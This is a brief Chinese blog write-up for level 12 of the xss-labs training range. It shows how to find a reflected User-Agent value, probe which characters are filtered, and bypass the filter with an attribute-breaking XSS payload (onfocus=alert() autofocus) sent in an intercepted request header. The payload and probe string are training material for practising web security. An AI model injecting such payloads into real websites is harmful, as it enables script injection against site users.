查看一下源码，发现这里是user_agent的值，那么就和上一关思路一样，抓包修改UA值
抓包修改先看一下过滤了什么，输入
" <Script><a Href=javascript:alert()> oNload Src Data;
只过滤掉了尖括号，我们可以利用事件绕过，payload同上一关，只是这次是在UA处修改
" onfocus=alert() autofocus type="text" "
**重点：**User-Agent头传值
xss-labs pass-12
Forfun_tt2025-10-24 15:10
相关推荐
liangshanbo12159 分钟前
面试题：React.memo 和 useMemo 的区别苹果二11 分钟前
使用Vue的指南害人终害己33 分钟前
‘vue-cli-service‘ 不是内部或外部命令，也不是可运行的程序或批处理文件。被摘下的星星42 分钟前
CSS 基础说明To_OC11 小时前
从一头雾水到跑通全流程：我用一个周末啃透了JWT登录鉴权excel12 小时前
研究 Vue 3 源码的收获可乐鸡翅yeah_14 小时前
业务中 M3U8 水印相关坑，硬水印和动态水印区别lerhxx14 小时前
AI 应用如何高效优雅地恢复中断？—— "连接解耦 + 状态持久化"计算机魔术师14 小时前
METR 演示 AI 智能体如何篡改 Inspect 评估记录以掩盖不当行为前端snow15 小时前
ai agent --- 异步处理之 Rabbit MQ